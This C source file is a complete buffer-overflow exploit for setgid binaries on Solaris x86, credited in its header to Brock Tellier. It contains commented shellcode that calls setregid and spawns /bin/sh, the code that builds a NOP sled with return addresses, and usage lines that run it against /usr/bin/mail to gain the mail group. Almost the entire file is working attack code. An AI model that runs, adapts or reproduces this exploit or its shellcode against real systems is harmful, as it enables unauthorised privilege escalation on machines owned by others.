/*
* Generic Solaris x86 exploit program by Brock Tellier
* For use against any x86 sgid binary
* Shellcode by Cheez Whiz (fixes problem with
* shells dropping egid if it doesn't match your real gid)
* Will set gid=6(mail)
*
* gcc -o mailex solx86gid.c
*  /usr/bin/mail -m `./mailex 0 1975 2285` foo
*  . <period, enter>
* $ 
*  
* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
* 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 10000
#define NOP 0x90


char shell[] =
 /*  0 */ "\xeb\x45"                         /* jmp springboard       */
 /* syscall:                                                          */
 /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
 /*  9 */ "\xc3"                             /* ret                   */
 /* start:                                                            */
 /* 10 */ "\x5e"                             /* popl %esi             */
 /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
 /* 13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
 /* 16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
 /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
 /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
 /* setregid:                                                         */
 /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
 /* 27 */ "\xb0\x2f"                         /* movb $0x2f,%al        */
 /* 29 */ "\xe8\xe0\xff\xff\xff"             /* call syscall          */
 /* 34 */ "\x52"                             /* pushl %edx            */
 /* 35 */ "\x52"                             /* pushl %edx            */
 /* 36 */ "\x31\xc0"                         /* xor %eax,%eax         */
 /* 38 */ "\xb0\xcb"                         /* movb $0xcb,%al        */
 /* 40 */ "\xe8\xd5\xff\xff\xff"             /* call syscall          */
 /* 45 */ "\x83\xc4\x08"                     /* addl $0x4,%esp        */
 /* execve:                                                           */
 /* 48 */ "\x31\xc0"                         /* xor %eax,%eax         */
 /* 50 */ "\x50"                             /* pushl %eax            */
 /* 51 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
 /* 54 */ "\x53"                             /* pushl %ebx            */
 /* 55 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
 /* 57 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
 /* 60 */ "\x53"                             /* pushl %ebx            */
 /* 61 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
 /* 63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall          */
 /* 68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
 /* springboard:                                                      */
 /* 71 */ "\xe8\xbe\xff\xff\xff"             /* call start            */
 /* data:                                                             */
 /* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
 /* 84 */ "\xff\xff\xff\xff"                 /* DATA                  */
 /* 88 */ "\xff\xff\xff\xff";                /* DATA                  */

unsigned long int nop;
unsigned long int esp;
long int offset;

char buf[BUF];

unsigned long int get_esp()
{
  __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
    int buflen, i;
       
    if (argc > 1)
        offset = strtol(argv[1], NULL, 0);

    if (argc > 2)
        nop = strtoul(argv[2], NULL, 0);
    else
        nop = 285;

    if (argc > 3)
        buflen=atoi(argv[3]);
    else 
        buflen=BUF;
    
    esp = get_esp();


    memset(buf, NOP, buflen);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < buflen-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    for (i = 0; i < strlen(buf); i++) putchar(buf[i]);

    return;
}